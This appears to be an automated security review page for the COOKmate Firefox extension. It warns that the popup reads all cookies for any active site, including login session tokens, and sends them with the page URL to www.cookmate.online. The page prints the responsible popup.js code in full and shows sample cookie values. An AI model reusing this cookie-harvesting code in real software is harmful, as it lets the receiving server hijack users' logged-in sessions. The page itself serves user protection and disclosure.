Is COOKmate safe?

Medium risk

COOKmate sends every cookie for the active tab's site, plus its URL, to www.cookmate.online.

When the popup is opened, the extension reads all cookies for whatever site is in the active tab, including session cookies, and adds them to a request URL for www.cookmate.online. That page loads inside the popup, so the cookie values travel in the query string. This applies to every site, not only recipe sites.

Maadinfo Servicesv1.1Firefox Add-ons
52Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

COOKmate popup sends the active site's cookies to cookmate.online in a URL

Code analysis shows the popup reads all cookies for the open tab, on any site, and puts them in the query string of a request to www.cookmate.online when you click the toolbar button.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Static analysis
What actually happens
You did this

The user clicks the COOKmate toolbar button on any page.

The extension did this

The popup reads that page's cookies and loads a www.cookmate.online address containing them.

The manifest grants cookies and <all_urls>, so the behavior is not limited to recipe sites.

Values placed in the request address
  • Page address
    https://www.example.com/account/settings

    Tells the server which page you were on.

  • Cookies
    sessionid=9f2c41ab7d3e;csrftoken=Qm81xT0aVd;

    Cookie values for the site, which can include login session tokens.

  • Timestamp
    1735689600000

    Time of the request in milliseconds.

The code that does this

Cookie read and request construction in popup.js

Readable version
// popup.js, runs each time the toolbar popup opens// 1. find the active tab// 2. read every cookie the browser holds for that tab's URL (any site)// 3. join them as name=value;// 4. place the tab URL and the cookie string in the query string of a//    www.cookmate.online request, loaded into the popup iframe//    and also offered as an "open" link (&s=true)let querying = browser.tabs.query({active: true, currentWindow: true});querying.then(function (tabs) {    var tab = tabs[0];    var tabcookies = '';    let getCookies = browser.cookies.getAll({"url": tab.url});    getCookies.then(function (cookie) {        for (var i = 0; i < cookie.length; i++) {            tabcookies = tabcookies + cookie[i].name + "=" + cookie[i].value + ";";        }        var newURL = 'https://www.cookmate.online/recipes/l/?url=' + encodeURIComponent(tab.url) + '&t=' + (new Date().getTime()) + '&c=' + encodeURIComponent(tabcookies) + '&iframe=False';        iframe.src = newURL;        document.getElementById('mycookbook_content').style.display = 'none';        var link = document.createElement("a");        var mycookbook_open = document.getElementById("mycookbook_open");        link.href=newURL + "&s=true";        link.target='_blank';        link.appendChild(document.createTextNode(browser.i18n.getMessage("open")));        mycookbook_open.appendChild(link);    });});
Destination of the cookie data
    • www.cookmate.online

    Receives page URL and cookie string at /recipes/l/ and is rendered in the popup.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 1.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • Act on the current tab, but only after you click the extension

    activeTab

  • Read and change cookies, including the ones that keep you signed in

    cookies

Where it sends data

Destinations our analysis observed COOKmate contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • www.cookmate.online

    COOKmate sends data to www.cookmate.online. One other extension we have analysed sends data here.

Updated 15 October 2026amo-1959901